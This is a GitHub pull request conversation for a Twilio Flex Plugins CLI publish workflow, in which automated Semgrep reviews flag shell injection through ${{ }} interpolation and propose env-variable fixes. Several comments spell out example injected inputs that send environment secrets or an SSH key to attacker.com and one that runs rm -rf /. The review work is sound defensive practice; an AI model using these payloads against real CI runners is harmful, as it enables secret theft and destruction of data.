FLEXY-6381 fix pipeline for publish - #1163
Conversation
| run: | | ||
| STATUS_COLOR="good" | ||
| if [ "${{ job.status }}" = "failure" ]; then | ||
| STATUS_COLOR="danger" | ||
| elif [ "${{ job.status }}" = "cancelled" ]; then | ||
| STATUS_COLOR="warning" | ||
| fi | ||
|
|
||
| curl -X POST "${{ secrets.SLACK_WEB_HOOK }}" \ | ||
| -H 'Content-Type: application/json' \ | ||
| -d "{ | ||
| \"username\": \"Github Actions\", | ||
| \"icon_emoji\": \":ship:\", | ||
| \"attachments\": [{ | ||
| \"color\": \"${STATUS_COLOR}\", | ||
| \"title\": \"Flex Plugins CLI\", | ||
| \"text\": \"🎉 Released a new version with *tag* \\\`${{ inputs.TAG }}\\\` and *version* \\\`${{ inputs.VERSION }}\\\`\", | ||
| \"actions\": [{ | ||
| \"type\": \"button\", | ||
| \"text\": \"View Action\", | ||
| \"url\": \"${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}\" | ||
| }] | ||
| }] | ||
| }" |
There was a problem hiding this comment.
Using variable interpolation ${{...}} with github context data in a run: step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. github context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with env: to store the data and use the environment variable in the run: script. Be sure to use double-quotes the environment variable, like this: "$ENVVAR".
🚀 Removed in commit 57374c0 🚀
| run: | | ||
| STATUS_COLOR="good" | ||
| if [ "${{ needs.node.result }}" = "failure" ]; then | ||
| STATUS_COLOR="danger" | ||
| elif [ "${{ needs.node.result }}" = "cancelled" ]; then | ||
| STATUS_COLOR="warning" | ||
| fi | ||
|
|
||
| curl -X POST "${{ secrets.SLACK_WEB_HOOK }}" \ | ||
| -H 'Content-Type: application/json' \ | ||
| -d "{ | ||
| \"username\": \"Github Actions\", | ||
| \"icon_emoji\": \":ship:\", | ||
| \"attachments\": [{ | ||
| \"color\": \"${STATUS_COLOR}\", | ||
| \"title\": \"${{ inputs.SLACK_TITLE }} - ${{ inputs.OS }} - ${{ inputs.NODE_VERSION }}\", | ||
| \"text\": \"${{ github.repository }}/${{ github.ref }} - ${{ inputs.SLACK_MESSAGE }} ${{ needs.node.result }} for ${{ inputs.OS }}.\", | ||
| \"actions\": [{ | ||
| \"type\": \"button\", | ||
| \"text\": \"View Action\", | ||
| \"url\": \"${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}\" | ||
| }] | ||
| }] | ||
| }" |
There was a problem hiding this comment.
Using variable interpolation ${{...}} with github context data in a run: step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. github context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with env: to store the data and use the environment variable in the run: script. Be sure to use double-quotes the environment variable, like this: "$ENVVAR".
🎉 Removed in commit a4a0dc4 🎉
| run: | | ||
| STATUS_COLOR="good" | ||
| if [ "${{ job.status }}" = "failure" ]; then | ||
| STATUS_COLOR="danger" | ||
| elif [ "${{ job.status }}" = "cancelled" ]; then | ||
| STATUS_COLOR="warning" | ||
| fi | ||
|
|
||
| # Determine message based on release type | ||
| if [ "${{ inputs.TAG }}" = "public" ]; then | ||
| MESSAGE="🎉:tada: Released a new public *version* \\\`${{ steps.publicVersion.outputs.version }}\\\`" | ||
| else | ||
| MESSAGE="🎉 Released a new version with *tag* \\\`${{ inputs.TAG }}\\\` and *version* \\\`${{ inputs.VERSION }}\\\`" | ||
| fi | ||
|
|
||
| curl -X POST "${{ secrets.SLACK_WEB_HOOK }}" \ | ||
| -H 'Content-Type: application/json' \ | ||
| -d "{ | ||
| \"username\": \"Github Actions\", | ||
| \"icon_emoji\": \":ship:\", | ||
| \"attachments\": [{ | ||
| \"color\": \"${STATUS_COLOR}\", | ||
| \"title\": \"Flex Plugins CLI\", | ||
| \"text\": \"${MESSAGE}\", | ||
| \"actions\": [{ | ||
| \"type\": \"button\", | ||
| \"text\": \"View Action\", | ||
| \"url\": \"${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}\" | ||
| }] | ||
| }] | ||
| }" |
There was a problem hiding this comment.
Using variable interpolation ${{...}} with github context data in a run: step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. github context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with env: to store the data and use the environment variable in the run: script. Be sure to use double-quotes the environment variable, like this: "$ENVVAR".
🧼 Fixed in commit ed8c2c4 🧼
| run: | | ||
| if [ "${{ inputs.TAG }}" = "public" ]; then | ||
| git config user.name github-actions | ||
| git config user.email noreply@github.com | ||
| fi | ||
| npm run publish:${{ inputs.TAG }} ${{ inputs.VERSION }} |
There was a problem hiding this comment.
Using variable interpolation ${{...}} with github context data in a run: step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. github context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with env: to store the data and use the environment variable in the run: script. Be sure to use double-quotes the environment variable, like this: "$ENVVAR".
🍰 Removed in commit a4a0dc4 🍰
| run: | | ||
| STATUS_COLOR="good" | ||
| if [ "${{ job.status }}" = "failure" ]; then | ||
| STATUS_COLOR="danger" | ||
| elif [ "${{ job.status }}" = "cancelled" ]; then | ||
| STATUS_COLOR="warning" | ||
| fi | ||
|
|
||
| # Determine message based on release type | ||
| if [ "${{ inputs.TAG }}" = "public" ]; then | ||
| MESSAGE="🎉:tada: Released a new public *version* \\\`${{ steps.publicVersion.outputs.version }}\\\`" | ||
| else | ||
| MESSAGE="🎉 Released a new version with *tag* \\\`${{ inputs.TAG }}\\\` and *version* \\\`${{ inputs.VERSION }}\\\`" | ||
| fi | ||
|
|
||
| curl -X POST "${{ secrets.SLACK_WEB_HOOK }}" \ | ||
| -H 'Content-Type: application/json' \ | ||
| -d "{ | ||
| \"username\": \"Github Actions\", | ||
| \"icon_emoji\": \":ship:\", | ||
| \"attachments\": [{ | ||
| \"color\": \"${STATUS_COLOR}\", | ||
| \"title\": \"Flex Plugins CLI\", | ||
| \"text\": \"${MESSAGE}\", | ||
| \"actions\": [{ | ||
| \"type\": \"button\", | ||
| \"text\": \"View Action\", | ||
| \"url\": \"${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}\" | ||
| }] | ||
| }] | ||
| }" | ||
|
|
There was a problem hiding this comment.
Using variable interpolation ${{...}} with github context data in a run: step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. github context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with env: to store the data and use the environment variable in the run: script. Be sure to use double-quotes the environment variable, like this: "$ENVVAR".
✨ Removed in commit a4a0dc4 ✨
| run: | | ||
| STATUS_COLOR="good" | ||
| if [ "${{ needs.node.result }}" = "failure" ]; then | ||
| STATUS_COLOR="danger" | ||
| elif [ "${{ needs.node.result }}" = "cancelled" ]; then | ||
| STATUS_COLOR="warning" | ||
| fi | ||
|
|
||
| curl -X POST "${{ secrets.SLACK_WEB_HOOK }}" \ | ||
| -H 'Content-Type: application/json' \ | ||
| -d "{ | ||
| \"username\": \"Github Actions\", | ||
| \"icon_emoji\": \":ship:\", | ||
| \"attachments\": [{ | ||
| \"color\": \"${STATUS_COLOR}\", | ||
| \"title\": \"${{ inputs.SLACK_TITLE }} - ${{ inputs.OS }} - ${{ inputs.NODE_VERSION }}\", | ||
| \"text\": \"${{ github.repository }}/${{ github.ref }} - ${{ inputs.SLACK_MESSAGE }} ${{ needs.node.result }} for ${{ inputs.OS }}.\", | ||
| \"actions\": [{ | ||
| \"type\": \"button\", | ||
| \"text\": \"View Action\", | ||
| \"url\": \"${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}\" | ||
| }] | ||
| }] | ||
| }" |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
User-controlled workflow inputs are directly interpolated into a shell command via ${{ inputs.* }} and ${{ github.* }} variables, allowing attackers to inject shell commands and steal secrets.
More details about this
The run: step is passing user-controlled input directly into a shell script through GitHub context variables without sanitization. Specifically, ${{ inputs.SLACK_TITLE }}, ${{ inputs.OS }}, ${{ inputs.NODE_VERSION }}, ${{ inputs.SLACK_MESSAGE }}, ${{ github.ref }}, and ${{ github.repository }} are all interpolated directly into the JSON payload sent to the Slack webhook.
An attacker can exploit this by providing malicious input through workflow inputs or by crafting commits with special characters in repository names or branch refs. For example:
- An attacker could submit a workflow dispatch with
SLACK_TITLEset to:"; curl attacker.com/steal?secrets=$(env | base64); echo " - When the shell executes the
curlcommand with this payload, the injected command runs in the runner environment - The attacker's server receives all environment variables including
secrets.SLACK_WEB_HOOKand any other secrets configured in the workflow - With these credentials, the attacker can impersonate the workflow to post messages to Slack, access private repositories, or pivot to other attacks
The vulnerability exists because the variables are expanded by the shell before being passed to curl, allowing arbitrary command injection through shell metacharacters like backticks, $(), or semicolons.
To resolve this comment:
✨ Commit fix suggestion
| run: | | |
| STATUS_COLOR="good" | |
| if [ "${{ needs.node.result }}" = "failure" ]; then | |
| STATUS_COLOR="danger" | |
| elif [ "${{ needs.node.result }}" = "cancelled" ]; then | |
| STATUS_COLOR="warning" | |
| fi | |
| curl -X POST "${{ secrets.SLACK_WEB_HOOK }}" \ | |
| -H 'Content-Type: application/json' \ | |
| -d "{ | |
| \"username\": \"Github Actions\", | |
| \"icon_emoji\": \":ship:\", | |
| \"attachments\": [{ | |
| \"color\": \"${STATUS_COLOR}\", | |
| \"title\": \"${{ inputs.SLACK_TITLE }} - ${{ inputs.OS }} - ${{ inputs.NODE_VERSION }}\", | |
| \"text\": \"${{ github.repository }}/${{ github.ref }} - ${{ inputs.SLACK_MESSAGE }} ${{ needs.node.result }} for ${{ inputs.OS }}.\", | |
| \"actions\": [{ | |
| \"type\": \"button\", | |
| \"text\": \"View Action\", | |
| \"url\": \"${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}\" | |
| }] | |
| }] | |
| }" | |
| env: | |
| NODE_RESULT: ${{ needs.node.result }} | |
| SLACK_TITLE: ${{ inputs.SLACK_TITLE }} | |
| OS_NAME: ${{ inputs.OS }} | |
| NODE_VERSION: ${{ inputs.NODE_VERSION }} | |
| SLACK_MESSAGE: ${{ inputs.SLACK_MESSAGE }} | |
| REPOSITORY: ${{ github.repository }} | |
| REF: ${{ github.ref }} | |
| SERVER_URL: ${{ github.server_url }} | |
| RUN_ID: ${{ github.run_id }} | |
| SLACK_WEBHOOK: ${{ secrets.SLACK_WEB_HOOK }} | |
| run: | | |
| STATUS_COLOR="good" | |
| if [ "$NODE_RESULT" = "failure" ]; then | |
| STATUS_COLOR="danger" | |
| elif [ "$NODE_RESULT" = "cancelled" ]; then | |
| STATUS_COLOR="warning" | |
| fi | |
| curl -X POST "$SLACK_WEBHOOK" \ | |
| -H 'Content-Type: application/json' \ | |
| -d "{ | |
| \"username\": \"Github Actions\", | |
| \"icon_emoji\": \":ship:\", | |
| \"attachments\": [{ | |
| \"color\": \"${STATUS_COLOR}\", | |
| \"title\": \"$SLACK_TITLE - $OS_NAME - $NODE_VERSION\", | |
| \"text\": \"$REPOSITORY/$REF - $SLACK_MESSAGE $NODE_RESULT for $OS_NAME.\", | |
| \"actions\": [{ | |
| \"type\": \"button\", | |
| \"text\": \"View Action\", | |
| \"url\": \"$SERVER_URL/$REPOSITORY/actions/runs/$RUN_ID\" | |
| }] | |
| }] | |
| }" |
View step-by-step instructions
-
Add an
env:block to theSlack Notificationstep and move every${{ ... }}value that is currently used insiderun:into named environment variables, for exampleNODE_RESULT,SLACK_TITLE,OS_NAME,NODE_VERSION,SLACK_MESSAGE,REPOSITORY,REF,SERVER_URL,RUN_ID, andSLACK_WEBHOOK. -
Replace the GitHub expression interpolation inside the shell script with shell environment variable reads, and always wrap them in double quotes. For example, change checks like
${{ needs.node.result }}to"$NODE_RESULT". -
Update the status logic to use the environment variable instead of direct interpolation, for example compare
"$NODE_RESULT"tofailureandcancelled. -
Rewrite the
curlcommand so the webhook URL comes from the environment variable, for example usecurl -X POST "$SLACK_WEBHOOK" .... -
Replace every interpolated value in the JSON payload with the matching shell variable, for example:
- use
"$SLACK_TITLE","$OS_NAME", and"$NODE_VERSION"for thetitle - use
"$REPOSITORY","$REF","$SLACK_MESSAGE","$NODE_RESULT", and"$OS_NAME"for thetext - use
"$SERVER_URL/$REPOSITORY/actions/runs/$RUN_ID"for the action URL
- use
-
Keep GitHub expressions out of
run:entirely after this change. This prevents untrusted workflow input from being parsed directly by the shell and reduces command injection risk.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by run-shell-injection.
Need help with this issue? Consult our appsec team or ask in #help-appsec on Slack.
You can view more details about this finding in the Semgrep AppSec Platform.
| run: | | ||
| STATUS_COLOR="good" | ||
| if [ "${{ job.status }}" = "failure" ]; then | ||
| STATUS_COLOR="danger" | ||
| elif [ "${{ job.status }}" = "cancelled" ]; then | ||
| STATUS_COLOR="warning" | ||
| fi | ||
|
|
||
| # Determine message based on release type | ||
| if [ "${{ inputs.TAG }}" = "public" ]; then | ||
| MESSAGE="🎉:tada: Released a new public *version* \\\`${{ steps.publicVersion.outputs.version }}\\\`" | ||
| else | ||
| MESSAGE="🎉 Released a new version with *tag* \\\`${{ inputs.TAG }}\\\` and *version* \\\`${{ inputs.VERSION }}\\\`" | ||
| fi | ||
|
|
||
| curl -X POST "${{ secrets.SLACK_WEB_HOOK }}" \ | ||
| -H 'Content-Type: application/json' \ | ||
| -d "{ | ||
| \"username\": \"Github Actions\", | ||
| \"icon_emoji\": \":ship:\", | ||
| \"attachments\": [{ | ||
| \"color\": \"${STATUS_COLOR}\", | ||
| \"title\": \"Flex Plugins CLI\", | ||
| \"text\": \"${MESSAGE}\", | ||
| \"actions\": [{ | ||
| \"type\": \"button\", | ||
| \"text\": \"View Action\", | ||
| \"url\": \"${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}\" | ||
| }] | ||
| }] | ||
| }" | ||
|
|
There was a problem hiding this comment.
Semgrep identified an issue in your code:
Unsanitized workflow inputs ${{ inputs.TAG }} and ${{ inputs.VERSION }} are injected directly into shell commands, allowing attackers to execute arbitrary code and steal secrets from the GitHub Actions runner.
More details about this
The run: step directly injects user-controlled GitHub Actions context variables like ${{ inputs.TAG }} and ${{ inputs.VERSION }} into shell commands without sanitization.
An attacker can exploit this by setting malicious input when triggering the workflow. For example, if an attacker provides TAG = "public'; curl http://attacker.com?secrets=$(env | base64) #", the following code would execute:
if [ "${{ inputs.TAG }}" = "public" ]; thenThis expands to:
if [ "public'; curl http://attacker.com?secrets=$(env | base64) #" = "public" ]; thenThe shell parses this as:
[ "public'..."- starts a test commandcurl http://attacker.com?secrets=$(env | base64)- executes attacker's command#- comments out the rest
This allows the attacker to:
- Exfiltrate all environment variables (including
secrets.SLACK_WEB_HOOKandsecrets.G_TOKEN) to their server - Modify repository code via git commands
- Extract sensitive data like GitHub tokens from the runner
The vulnerable lines are where ${{ inputs.TAG }} and ${{ inputs.VERSION }} are used directly in conditional statements and shell variable assignments without proper escaping.
To resolve this comment:
✨ Commit fix suggestion
| run: | | |
| STATUS_COLOR="good" | |
| if [ "${{ job.status }}" = "failure" ]; then | |
| STATUS_COLOR="danger" | |
| elif [ "${{ job.status }}" = "cancelled" ]; then | |
| STATUS_COLOR="warning" | |
| fi | |
| # Determine message based on release type | |
| if [ "${{ inputs.TAG }}" = "public" ]; then | |
| MESSAGE="🎉:tada: Released a new public *version* \\\`${{ steps.publicVersion.outputs.version }}\\\`" | |
| else | |
| MESSAGE="🎉 Released a new version with *tag* \\\`${{ inputs.TAG }}\\\` and *version* \\\`${{ inputs.VERSION }}\\\`" | |
| fi | |
| curl -X POST "${{ secrets.SLACK_WEB_HOOK }}" \ | |
| -H 'Content-Type: application/json' \ | |
| -d "{ | |
| \"username\": \"Github Actions\", | |
| \"icon_emoji\": \":ship:\", | |
| \"attachments\": [{ | |
| \"color\": \"${STATUS_COLOR}\", | |
| \"title\": \"Flex Plugins CLI\", | |
| \"text\": \"${MESSAGE}\", | |
| \"actions\": [{ | |
| \"type\": \"button\", | |
| \"text\": \"View Action\", | |
| \"url\": \"${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}\" | |
| }] | |
| }] | |
| }" | |
| run: | | |
| STATUS_COLOR="good" | |
| if [ "$JOB_STATUS" = "failure" ]; then | |
| STATUS_COLOR="danger" | |
| elif [ "$JOB_STATUS" = "cancelled" ]; then | |
| STATUS_COLOR="warning" | |
| fi | |
| ACTION_URL="$GITHUB_SERVER_URL/$GITHUB_REPOSITORY/actions/runs/$GITHUB_RUN_ID" | |
| # Determine message based on release type | |
| if [ "$INPUT_TAG" = "public" ]; then | |
| MESSAGE="🎉:tada: Released a new public *version* \\\`$PUBLIC_VERSION\\\`" | |
| else | |
| MESSAGE="🎉 Released a new version with *tag* \\\`$INPUT_TAG\\\` and *version* \\\`$INPUT_VERSION\\\`" | |
| fi | |
| curl -X POST "$SLACK_WEB_HOOK" \ | |
| -H 'Content-Type: application/json' \ | |
| -d "{ | |
| \"username\": \"Github Actions\", | |
| \"icon_emoji\": \":ship:\", | |
| \"attachments\": [{ | |
| \"color\": \"${STATUS_COLOR}\", | |
| \"title\": \"Flex Plugins CLI\", | |
| \"text\": \"${MESSAGE}\", | |
| \"actions\": [{ | |
| \"type\": \"button\", | |
| \"text\": \"View Action\", | |
| \"url\": \"${ACTION_URL}\" | |
| }] | |
| }] | |
| }" | |
| env: | |
| JOB_STATUS: ${{ job.status }} | |
| INPUT_TAG: ${{ inputs.TAG }} | |
| INPUT_VERSION: ${{ inputs.VERSION }} | |
| PUBLIC_VERSION: ${{ steps.publicVersion.outputs.version }} | |
| GITHUB_SERVER_URL: ${{ github.server_url }} | |
| GITHUB_REPOSITORY: ${{ github.repository }} | |
| GITHUB_RUN_ID: ${{ github.run_id }} | |
| SLACK_WEB_HOOK: ${{ secrets.SLACK_WEB_HOOK }} |
View step-by-step instructions
- Move every
${{ ... }}value out of therun:script and into the step’senv:block, includingjob.status,inputs.TAG,inputs.VERSION,steps.publicVersion.outputs.version,github.server_url,github.repository, andgithub.run_id. - Replace each inline GitHub expression in the shell script with the matching environment variable, and always wrap it in double quotes, for example use
"$JOB_STATUS","$INPUT_TAG", and"$PUBLIC_VERSION"in theifstatements and message assignment. - Build the Slack action URL from environment variables inside the script instead of embedding GitHub expressions in the JSON body, for example set
ACTION_URL="$GITHUB_SERVER_URL/$GITHUB_REPOSITORY/actions/runs/$GITHUB_RUN_ID"and then use"$ACTION_URL"in the payload. - Keep the secret reference outside this change unless needed, but leave it as a step input or env value rather than mixing additional
${{ ... }}expressions into the shell body. - Update the message logic to use only shell variables, for example compare
"$INPUT_TAG"topublicand constructMESSAGEfrom"$PUBLIC_VERSION"or"$INPUT_VERSION"as needed. This prevents GitHub from splicing untrusted text directly into the shell before it runs.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by run-shell-injection.
Need help with this issue? Consult our appsec team or ask in #help-appsec on Slack.
You can view more details about this finding in the Semgrep AppSec Platform.
| run: | | ||
| if [ "${{ inputs.TAG }}" = "public" ]; then | ||
| git config user.name github-actions | ||
| git config user.email noreply@github.com | ||
| fi | ||
| npm run publish:${{ inputs.TAG }} ${{ inputs.VERSION }} |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
Workflow inputs inputs.TAG and inputs.VERSION are directly interpolated into shell commands in the run: step, allowing command injection attacks via malicious input values.
More details about this
The run: step directly interpolates ${{ inputs.TAG }} and ${{ inputs.VERSION }} into shell commands. Since these are workflow inputs, an attacker could provide malicious values that execute arbitrary code on the runner.
For example, an attacker could trigger this workflow with:
inputs.TAG = "public; rm -rf / #"inputs.VERSION = "$(curl http://attacker.com/steal?secrets=$(cat ~/.ssh/id_rsa))"
When the step executes npm run publish:${{ inputs.TAG }} ${{ inputs.VERSION }}, these values get directly injected into the shell command:
npm run publish:public; rm -rf / # 1.0.0
npm run publish:public $(curl http://attacker.com/steal?secrets=...)
This allows command injection to execute arbitrary code, potentially stealing secrets like SLACK_WEB_HOOK or exfiltrating repository code and SSH keys stored on the runner.
To resolve this comment:
✨ Commit fix suggestion
| run: | | |
| if [ "${{ inputs.TAG }}" = "public" ]; then | |
| git config user.name github-actions | |
| git config user.email noreply@github.com | |
| fi | |
| npm run publish:${{ inputs.TAG }} ${{ inputs.VERSION }} | |
| run: | | |
| if [ "$TAG" = "public" ]; then | |
| git config user.name github-actions | |
| git config user.email noreply@github.com | |
| fi | |
| case "$TAG" in | |
| public|beta|next) | |
| npm run "publish:$TAG" "$VERSION" | |
| ;; | |
| *) | |
| exit 1 | |
| ;; | |
| esac | |
| env: | |
| TAG: ${{ inputs.TAG }} | |
| VERSION: ${{ inputs.VERSION }} |
View step-by-step instructions
-
Move the GitHub input expressions out of the
run:script and into the stepenv:block, for exampleTAG: ${{ inputs.TAG }}andVERSION: ${{ inputs.VERSION }}. -
Update the shell script to read those values from environment variables instead of
${{ ... }}expressions.
Use quoted variables in the script, for exampleif [ "$TAG" = "public" ]; then ... fi. -
Avoid inserting the tag directly into a shell command until you restrict it to known values.
Replacenpm run publish:${{ inputs.TAG }} ${{ inputs.VERSION }}with a small allowlist such ascase "$TAG" in public|beta|next) npm run "publish:$TAG" "$VERSION" ;; *) exit 1 ;; esac. -
Quote the version argument when passing it to the command, for example
"$VERSION", so shell metacharacters in input are treated as data instead of code. -
Keep the existing static values as-is for the git config commands, since
git config user.name github-actionsandgit config user.email noreply@github.comdo not need interpolation.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by run-shell-injection.
Need help with this issue? Consult our appsec team or ask in #help-appsec on Slack.
You can view more details about this finding in the Semgrep AppSec Platform.
Contributing to Twilio